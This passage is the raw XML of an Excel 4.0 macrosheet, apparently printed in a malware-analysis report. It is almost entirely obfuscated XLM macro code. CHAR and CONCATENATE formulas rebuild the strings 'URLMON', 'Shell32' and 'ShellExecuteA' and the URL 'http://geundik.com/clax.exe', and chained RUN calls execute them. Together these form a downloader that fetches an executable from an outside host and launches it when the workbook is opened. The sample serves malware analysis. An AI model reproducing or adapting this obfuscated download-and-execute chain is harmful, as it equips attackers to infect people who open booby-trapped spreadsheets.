x14ac:dyDescent="0.25"><c r="DJ1456" t="b"><f>RUN($HK$1348)</f><v>0</v></c></row><row r="1458" spans="24:246" x14ac:dyDescent="0.25"><c r="EH1458"><v>9</v></c></row><row r="1460" spans="24:246" x14ac:dyDescent="0.25"><c r="IL1460" t="b"><f>RUN($DT$647)</f><v>0</v></c></row><row r="1462" spans="24:246" x14ac:dyDescent="0.25"><c r="AC1462" t="b"><f>RUN($EO$1964)</f><v>0</v></c></row><row r="1463" spans="24:246" x14ac:dyDescent="0.25"><c r="GQ1463"><v>671</v></c></row><row r="1466" spans="24:246" x14ac:dyDescent="0.25"><c r="FW1466"><v>829</v></c></row><row r="1471" spans="24:246" x14ac:dyDescent="0.25"><c r="AV1471"><v>2</v></c></row><row r="1472" spans="24:246" x14ac:dyDescent="0.25"><c r="X1472" t="str"><f>CHAR($HT$203-959)</f><v>p</v></c></row><row r="1473" spans="2:230" x14ac:dyDescent="0.25"><c r="HV1473"><v>867</v></c></row><row r="1477" spans="2:230" x14ac:dyDescent="0.25"><c r="AA1477"><v>85</v></c></row><row r="1478" spans="2:230" x14ac:dyDescent="0.25"><c r="I1478" t="str"><f>CHAR($HV$1473-759)</f><v>l</v></c></row><row r="1481" spans="2:230" x14ac:dyDescent="0.25"><c r="EA1481" t="b"><f>RUN($DS$807)</f><v>0</v></c></row><row r="1484" spans="2:230" x14ac:dyDescent="0.25"><c r="GM1484"><v>621</v></c></row><row r="1486" spans="2:230" x14ac:dyDescent="0.25"><c r="CY1486" t="b"><f>RUN($BP$112)</f><v>0</v></c></row><row r="1487" spans="2:230" x14ac:dyDescent="0.25"><c r="B1487" t="b"><f>RUN($FL$1276)</f><v>0</v></c></row><row r="1490" spans="150:239" x14ac:dyDescent="0.25"><c r="IE1490" t="str"><f>CONCATENATE($EP$1174)</f><v>e</v></c></row><row r="1496" spans="150:239" x14ac:dyDescent="0.25"><c r="ET1496"><v>80</v></c></row><row r="1499" spans="150:239" x14ac:dyDescent="0.25"><c r="EW1499"><v>875</v></c></row><row r="1501" spans="150:239" x14ac:dyDescent="0.25"><c r="HS1501"><v>79</v></c></row><row r="1505" spans="3:200" x14ac:dyDescent="0.25"><c r="C1505"><v>991</v></c><c r="GA1505"><v>1071</v></c></row><row r="1509" spans="3:200" x14ac:dyDescent="0.25"><c r="C1509" t="str"><f>CONCATENATE($FF$1418,$AA$1121,$P$1417,$DO$424,$DY$422,$EM$1136,$O$993,$GY$569,$HD$1059,$BZ$705,$DW$1112,$CR$1785,$BS$20)</f><v>ShellExecuteA</v></c><c r="GR1509" t="b"><f>RUN($CT$1580)</f><v>0</v></c></row><row r="1512" spans="3:200" x14ac:dyDescent="0.25"><c r="O1512"><v>1068</v></c></row><row r="1515" spans="3:200" x14ac:dyDescent="0.25"><c r="FM1515"><v>60</v></c></row><row r="1518" spans="3:200" x14ac:dyDescent="0.25"><c r="CJ1518"><v>93</v></c></row><row r="1520" spans="3:200" x14ac:dyDescent="0.25"><c r="EJ1520"><v>880</v></c></row><row r="1524" spans="22:247" x14ac:dyDescent="0.25"><c r="V1524"><v>23</v></c></row><row r="1525" spans="22:247" x14ac:dyDescent="0.25"><c r="IM1525"><v>84</v></c></row><row r="1526" spans="22:247" x14ac:dyDescent="0.25"><c r="FM1526"><v>73</v></c></row><row r="1533" spans="22:247" x14ac:dyDescent="0.25"><c r="AO1533"><v>824</v></c><c r="DC1533"><v>32</v></c></row><row r="1534" spans="22:247" x14ac:dyDescent="0.25"><c r="FW1534" t="b"><f>RUN($CS$529)</f><v>0</v></c></row><row r="1543" spans="48:196" x14ac:dyDescent="0.25"><c r="AV1543"><v>78</v></c><c r="GN1543"><v>35</v></c></row><row r="1559" spans="64:229" x14ac:dyDescent="0.25"><c r="HU1559"><v>55</v></c></row><row r="1562" spans="64:229" x14ac:dyDescent="0.25"><c r="HA1562" t="b"><f>RUN($B$1487)</f><v>0</v></c></row><row r="1567" spans="64:229" x14ac:dyDescent="0.25"><c r="BL1567"><v>936</v></c></row><row r="1572" spans="11:175" x14ac:dyDescent="0.25"><c r="BT1572" t="b"><f>RUN($CU$1910)</f><v>0</v></c></row><row r="1573" spans="11:175" x14ac:dyDescent="0.25"><c r="FD1573"><v>77</v></c></row><row r="1575" spans="11:175" x14ac:dyDescent="0.25"><c r="FS1575" t="str"><f>CHAR($CR$119-570)</f><v>h</v></c></row><row r="1580" spans="11:175" x14ac:dyDescent="0.25"><c r="CT1580" t="b"><f>RUN($D$964)</f><v>0</v></c></row><row r="1581" spans="11:175" x14ac:dyDescent="0.25"><c r="AG1581"><v>1010</v></c><c r="BY1581"><v>69</v></c></row><row r="1583" spans="11:175" x14ac:dyDescent="0.25"><c r="K1583" t="b"><f>RUN($GU$10)</f><v>0</v></c></row><row r="1584" spans="11:175" x14ac:dyDescent="0.25"><c r="EX1584"><v>1060</v></c></row><row r="1585" spans="4:243" x14ac:dyDescent="0.25"><c r="II1585" t="str"><f>CONCATENATE($HB$1879)</f><v>URLMON</v></c></row><row r="1595" spans="4:243" x14ac:dyDescent="0.25"><c r="BU1595"><v>44</v></c></row><row r="1596" spans="4:243" x14ac:dyDescent="0.25"><c r="D1596"><v>55</v></c><c r="BG1596" t="b"><f>RUN($GK$1829)</f><v>0</v></c></row><row r="1599" spans="4:243" x14ac:dyDescent="0.25"><c r="CX1599"><v>11</v></c></row><row r="1602" spans="12:227" x14ac:dyDescent="0.25"><c r="HB1602" t="str"><f>CHAR($BC$365-890)</f><v>/</v></c></row><row r="1606" spans="12:227" x14ac:dyDescent="0.25"><c r="L1606" t="b"><f>RUN($BK$365)</f><v>0</v></c></row><row r="1607" spans="12:227" x14ac:dyDescent="0.25"><c r="HS1607"><v>671</v></c></row><row r="1608" spans="12:227" x14ac:dyDescent="0.25"><c r="AB1608" t="str"><f>CHAR($HT$1624-759)</f><v>e</v></c></row><row r="1609" spans="12:227" x14ac:dyDescent="0.25"><c r="EV1609"><v>58</v></c></row><row r="1610" spans="12:227" x14ac:dyDescent="0.25"><c r="HN1610" t="str"><f>CHAR($GO$1408-570)</f><v>O</v></c></row><row r="1613" spans="12:227" x14ac:dyDescent="0.25"><c r="GH1613"><v>17</v></c></row><row r="1619" spans="22:228" x14ac:dyDescent="0.25"><c r="CV1619"><v>860</v></c></row><row r="1620" spans="22:228" x14ac:dyDescent="0.25"><c r="V1620"><v>69</v></c></row><row r="1624" spans="22:228" x14ac:dyDescent="0.25"><c r="HR1624"><v>12</v></c><c r="HT1624"><v>860</v></c></row><row r="1626" spans="22:228" x14ac:dyDescent="0.25"><c r="AS1626"><v>41</v></c></row><row r="1629" spans="22:228" x14ac:dyDescent="0.25"><c r="FY1629" t="b"><f>RUN($GG$255)</f><v>0</v></c><c r="GM1629"><v>16</v></c></row><row r="1632" spans="22:228" x14ac:dyDescent="0.25"><c r="AQ1632"><v>38</v></c></row><row r="1636" spans="54:116" x14ac:dyDescent="0.25"><c r="BQ1636" t="b"><f>RUN($F$132)</f><v>0</v></c></row><row r="1637" spans="54:116" x14ac:dyDescent="0.25"><c r="DL1637"><v>50</v></c></row><row r="1644" spans="54:116" x14ac:dyDescent="0.25"><c r="BB1644" t="b"><f>RUN($HC$974)</f><v>0</v></c></row><row r="1651" spans="5:233" x14ac:dyDescent="0.25"><c r="E1651" t="b"><f>RUN($EA$1481)</f><v>0</v></c><c r="GT1651" t="b"><f>RUN($CM$552)</f><v>0</v></c></row><row r="1661" spans="5:233" x14ac:dyDescent="0.25"><c r="HY1661"><v>66</v></c></row><row r="1662" spans="5:233" x14ac:dyDescent="0.25"><c r="CE1662" t="str"><f>CHAR($ER$890-959)</f><v>L</v></c><c r="DZ1662" t="str"><f>CONCATENATE($HG$90)</f><v>Shell32</v></c></row><row r="1673" spans="28:222" x14ac:dyDescent="0.25"><c r="AL1673"><v>19</v></c></row><row r="1674" spans="28:222" x14ac:dyDescent="0.25"><c r="AB1674"><v>51</v></c></row><row r="1675" spans="28:222" x14ac:dyDescent="0.25"><c r="HN1675"><v>82</v></c></row><row r="1678" spans="28:222" x14ac:dyDescent="0.25"><c r="HD1678"><v>63</v></c></row><row r="1681" spans="86:241" x14ac:dyDescent="0.25"><c r="DZ1681" t="str"><f>CHAR($N$189-759)</f><v>c</v></c></row><row r="1686" spans="86:241" x14ac:dyDescent="0.25"><c r="IG1686"><v>860</v></c></row><row r="1687" spans="86:241" x14ac:dyDescent="0.25"><c r="EF1687"><v>55</v></c></row><row r="1688" spans="86:241" x14ac:dyDescent="0.25"><c r="EY1688"><v>678</v></c><c r="FZ1688"><v>21</v></c></row><row r="1690" spans="86:241" x14ac:dyDescent="0.25"><c r="HB1690"><v>65</v></c></row><row r="1691" spans="86:241" x14ac:dyDescent="0.25"><c r="CH1691"><v>937</v></c></row><row r="1700" spans="12:244" x14ac:dyDescent="0.25"><c r="CG1700"><v>1</v></c></row><row r="1702" spans="12:244" x14ac:dyDescent="0.25"><c r="EF1702" t="b"><f>RUN($Y$946)</f><v>0</v></c><c r="FM1702"><v>96</v></c></row><row r="1703" spans="12:244" x14ac:dyDescent="0.25"><c r="CT1703"><v>14</v></c></row><row r="1706" spans="12:244" x14ac:dyDescent="0.25"><c r="L1706"><v>1034</v></c><c r="EJ1706" t="b"><f>RUN($HU$1155)</f><v>0</v></c></row><row r="1710" spans="12:244" x14ac:dyDescent="0.25"><c r="DO1710"><v>82</v></c><c r="IJ1710"><v>66</v></c></row><row r="1712" spans="12:244" x14ac:dyDescent="0.25"><c r="V1712"><v>6</v></c><c r="DA1712"><v>89</v></c><c r="GB1712" t="b"><f>RUN($DJ$1456)</f><v>0</v></c></row><row r="1719" spans="35:223" x14ac:dyDescent="0.25"><c r="FA1719"><v>27</v></c></row><row r="1722" spans="35:223" x14ac:dyDescent="0.25"><c r="AI1722"><v>86</v></c><c r="HO1722" t="str"><f>CHAR($IG$1686-759)</f><v>e</v></c></row><row r="1724" spans="35:223" x14ac:dyDescent="0.25"><c r="BM1724" t="str"><f>CHAR($EZ$1408-570)</f><v>L</v></c></row><row r="1725" spans="35:223" x14ac:dyDescent="0.25"><c r="FW1725" t="b"><f>RUN($CW$120)</f><v>0</v></c></row><row r="1727" spans="35:223" x14ac:dyDescent="0.25"><c r="AM1727"><v>20</v></c></row><row r="1749" spans="25:215" x14ac:dyDescent="0.25"><c r="DC1749" t="b"><f>RUN($Q$1072)</f><v>0</v></c></row><row r="1750" spans="25:215" x14ac:dyDescent="0.25"><c r="GU1750"><v>45</v></c></row><row r="1752" spans="25:215" x14ac:dyDescent="0.25"><c r="HG1752"><v>66</v></c></row><row r="1753" spans="25:215" x14ac:dyDescent="0.25"><c r="BI1753" t="str"><f>CHAR($GL$368-959)</f><v>\</v></c></row><row r="1757" spans="25:215" x14ac:dyDescent="0.25"><c r="Y1757"><v>78</v></c></row><row r="1758" spans="25:215" x14ac:dyDescent="0.25"><c r="CD1758" t="str"><f>CHAR($FE$513-570)</f><v>S</v></c><c r="CW1758" t="str"><f>CHAR($CL$1184-959)</f><v>m</v></c><c r="FR1758"><v>7</v></c></row><row r="1760" spans="25:215" x14ac:dyDescent="0.25"><c r="BD1760"><v>997</v></c></row><row r="1773" spans="24:217" x14ac:dyDescent="0.25"><c r="HI1773"><v>95</v></c></row><row r="1776" spans="24:217" x14ac:dyDescent="0.25"><c r="X1776" t="b"><f>RUN($EB$196)</f><v>0</v></c></row><row r="1781" spans="5:236" x14ac:dyDescent="0.25"><c r="EN1781" t="str"><f>CHAR($BD$1760-890)</f><v>k</v></c><c r="GW1781" t="str"><f>CHAR($BC$335-890)</f><v>e</v></c></row><row r="1782" spans="5:236" x14ac:dyDescent="0.25"><c r="E1782" t="str"><f>CHAR($AV$774-759)</f><v>o</v></c></row><row r="1785" spans="5:236" x14ac:dyDescent="0.25"><c r="CR1785" t="str"><f>CHAR($DF$1242-759)</f><v>e</v></c></row><row r="1788" spans="5:236" x14ac:dyDescent="0.25"><c r="IB1788" t="b"><f>RUN($AI$979)</f><v>0</v></c></row><row r="1791" spans="5:236" x14ac:dyDescent="0.25"><c r="GF1791" t="b"><f>RUN($EJ$1706)</f><v>0</v></c></row><row r="1794" spans="87:168" x14ac:dyDescent="0.25"><c r="CP1794"><v>842</v></c></row><row r="1796" spans="87:168" x14ac:dyDescent="0.25"><c r="FH1796" t="str"><f>CHAR($GM$1484-570)</f><v>3</v></c></row><row r="1799" spans="87:168" x14ac:dyDescent="0.25"><c r="EB1799" t="str"><f>CHAR($AM$517-959)</f><v>N</v></c></row><row r="1800" spans="87:168" x14ac:dyDescent="0.25"><c r="CI1800"><v>34</v></c></row><row r="1803" spans="87:168" x14ac:dyDescent="0.25"><c r="DC1803" t="b"><f>RUN($GP$307)</f><v>0</v></c></row><row r="1807" spans="87:168" x14ac:dyDescent="0.25"><c r="FL1807" t="b"><f>RUN($BO$173)</f><v>0</v></c></row><row r="1809" spans="55:229" x14ac:dyDescent="0.25"><c r="BC1809"><v>48</v></c></row><row r="1817" spans="55:229" x14ac:dyDescent="0.25"><c r="FP1817"><v>59</v></c></row><row r="1818" spans="55:229" x14ac:dyDescent="0.25"><c r="BM1818"><v>95</v></c><c r="DB1818"><v>98</v></c></row><row r="1820" spans="55:229" x14ac:dyDescent="0.25"><c r="HU1820"><v>873</v></c></row><row r="1824" spans="55:229" x14ac:dyDescent="0.25"><c r="FD1824" t="str"><f>CHAR($HU$797-759)</f><v>a</v></c></row><row r="1825" spans="29:247" x14ac:dyDescent="0.25"><c r="CR1825"><v>860</v></c></row><row r="1827" spans="29:247" x14ac:dyDescent="0.25"><c r="BT1827"><v>41</v></c></row><row r="1828" spans="29:247" x14ac:dyDescent="0.25"><c r="AC1828" t="str"><f>CHAR($AU$721-959)</f><v>:</v></c></row><row r="1829" spans="29:247" x14ac:dyDescent="0.25"><c r="GK1829" t="b"><f>RUN($DA$272)</f><v>0</v></c></row><row r="1831" spans="29:247" x14ac:dyDescent="0.25"><c r="HA1831"><v>97</v></c></row><row r="1839" spans="29:247" x14ac:dyDescent="0.25"><c r="IM1839" t="str"><f>CHAR($BD$24-759)</f><v>A</v></c></row><row r="1841" spans="64:224" x14ac:dyDescent="0.25"><c r="BL1841"><v>1007</v></c><c r="HP1841" t="b"><f>RUN($GL$372)</f><v>0</v></c></row><row r="1842" spans="64:224" x14ac:dyDescent="0.25"><c r="GZ1842"><v>59</v></c></row><row r="1846" spans="64:224" x14ac:dyDescent="0.25"><c r="GB1846"><v>993</v></c></row><row r="1847" spans="64:224" x14ac:dyDescent="0.25"><c r="HC1847"><v>53</v></c></row><row r="1856" spans="64:224" x14ac:dyDescent="0.25"><c r="DP1856"><v>76</v></c></row><row r="1864" spans="13:78" x14ac:dyDescent="0.25"><c r="M1864"><v>1028</v></c><c r="BZ1864" t="b"><f>RUN($EH$459)</f><v>0</v></c></row><row r="1873" spans="59:227" x14ac:dyDescent="0.25"><c r="FN1873" t="b"><f>RUN($FQ$425)</f><v>0</v></c></row><row r="1876" spans="59:227" x14ac:dyDescent="0.25"><c r="FB1876"><v>878</v></c></row><row r="1878" spans="59:227" x14ac:dyDescent="0.25"><c r="BG1878"><v>16</v></c></row><row r="1879" spans="59:227" x14ac:dyDescent="0.25"><c r="HB1879" t="str"><f>CONCATENATE($GQ$822,$AH$1973,$BM$1724,$CD$88,$HN$1610,$DT$1313)</f><v>URLMON</v></c></row><row r="1882" spans="59:227" x14ac:dyDescent="0.25"><c r="BQ1882" t="str"><f>CHAR($CV$1619-759)</f><v>e</v></c></row><row r="1883" spans="59:227" x14ac:dyDescent="0.25"><c r="HS1883" t="b"><f>RUN($E$1171)</f><v>0</v></c></row><row r="1890" spans="47:225" x14ac:dyDescent="0.25"><c r="HQ1890"><v>21</v></c></row><row r="1894" spans="47:225" x14ac:dyDescent="0.25"><c r="AU1894"><v>55</v></c><c r="BQ1894"><v>4</v></c></row><row r="1896" spans="47:225" x14ac:dyDescent="0.25"><c r="ET1896"><v>17</v></c><c r="FQ1896"><v>71</v></c></row><row r="1901" spans="47:225" x14ac:dyDescent="0.25"><c r="EG1901" t="str"><f>CHAR($CD$19-570)</f><v>3</v></c></row><row r="1906" spans="99:240" x14ac:dyDescent="0.25"><c r="IF1906" t="str"><f>CHAR($GP$660-759)</f><v>i</v></c></row><row r="1910" spans="99:240" x14ac:dyDescent="0.25"><c r="CU1910" t="b"><f>RUN($HE$1122)</f><v>0</v></c></row><row r="1912" spans="99:240" x14ac:dyDescent="0.25"><c r="HJ1912"><v>47</v></c></row><row r="1918" spans="99:240" x14ac:dyDescent="0.25"><c r="GM1918" t="str"><f>CHAR($EY$1688-570)</f><v>l</v></c></row><row r="1920" spans="99:240" x14ac:dyDescent="0.25"><c r="FG1920"><v>17</v></c></row><row r="1925" spans="73:212" x14ac:dyDescent="0.25"><c r="FT1925" t="str"><f>CONCATENATE($BL$82)</f><v>http://geundik.com/clax.exe</v></c></row><row r="1929" spans="73:212" x14ac:dyDescent="0.25"><c r="BU1929"><v>55</v></c></row><row r="1932" spans="73:212" x14ac:dyDescent="0.25"><c r="HD1932"><v>66</v></c></row><row r="1948" spans="111:199" x14ac:dyDescent="0.25"><c r="DG1948" t="b"><f>RUN($EB$797)</f><v>0</v></c></row><row r="1949" spans="111:199" x14ac:dyDescent="0.25"><c r="GQ1949" t="str"><f>CHAR($DJ$973-759)</f><v>O</v></c></row><row r="1954" spans="3:243" x14ac:dyDescent="0.25"><c r="HF1954"><v>34</v></c></row><row r="1959" spans="3:243" x14ac:dyDescent="0.25"><c r="HH1959"><v>82</v></c></row><row r="1963" spans="3:243" x14ac:dyDescent="0.25"><c r="C1963" t="b"><f>RUN($AY$1057)</f><v>0</v></c></row><row r="1964" spans="3:243" x14ac:dyDescent="0.25"><c r="EO1964" t="b"><f>RUN($AX$773)</f><v>0</v></c></row><row r="1968" spans="3:243" x14ac:dyDescent="0.25"><c r="II1968" t="str"><f>CHAR($BI$1019-959)</f><v>u</v></c></row><row r="1971" spans="34:246" x14ac:dyDescent="0.25"><c r="IL1971"><v>85</v></c></row><row r="1972" spans="34:246" x14ac:dyDescent="0.25"><c r="GQ1972"><v>24</v></c></row><row r="1973" spans="34:246" x14ac:dyDescent="0.25"><c r="AH1973" t="str"><f>CHAR($IL$974-570)</f><v>R</v></c></row><row r="1982" spans="34:246" x14ac:dyDescent="0.25"><c r="AH1982"><v>40</v></c></row><row r="1983" spans="34:246" x14ac:dyDescent="0.25"><c r="IB1983" t="str"><f>CHAR($CQ$1312-890)</f><v>h</v></c></row><row r="1987" spans="14:202" x14ac:dyDescent="0.25"><c r="GT1987"><v>65</v></c></row><row r="1990" spans="14:202" x14ac:dyDescent="0.25"><c r="N1990"><v>25</v></c></row><row r="1991" spans="14:202" x14ac:dyDescent="0.25"><c r="EK1991"><v>88</v></c></row><row r="1992" spans="14:202" x14ac:dyDescent="0.25"><c r="EQ1992"><v>44</v></c><c r="FO1992"><v>30</v></c></row><row r="1994" spans="14:202" x14ac:dyDescent="0.25"><c r="BJ1994"><v>20</v></c></row><row r="1995" spans="14:202" x14ac:dyDescent="0.25"><c r="CL1995"><v>1006</v></c></row><row r="1998" spans="14:202" x14ac:dyDescent="0.25"><c r="BY1998"><v>69</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.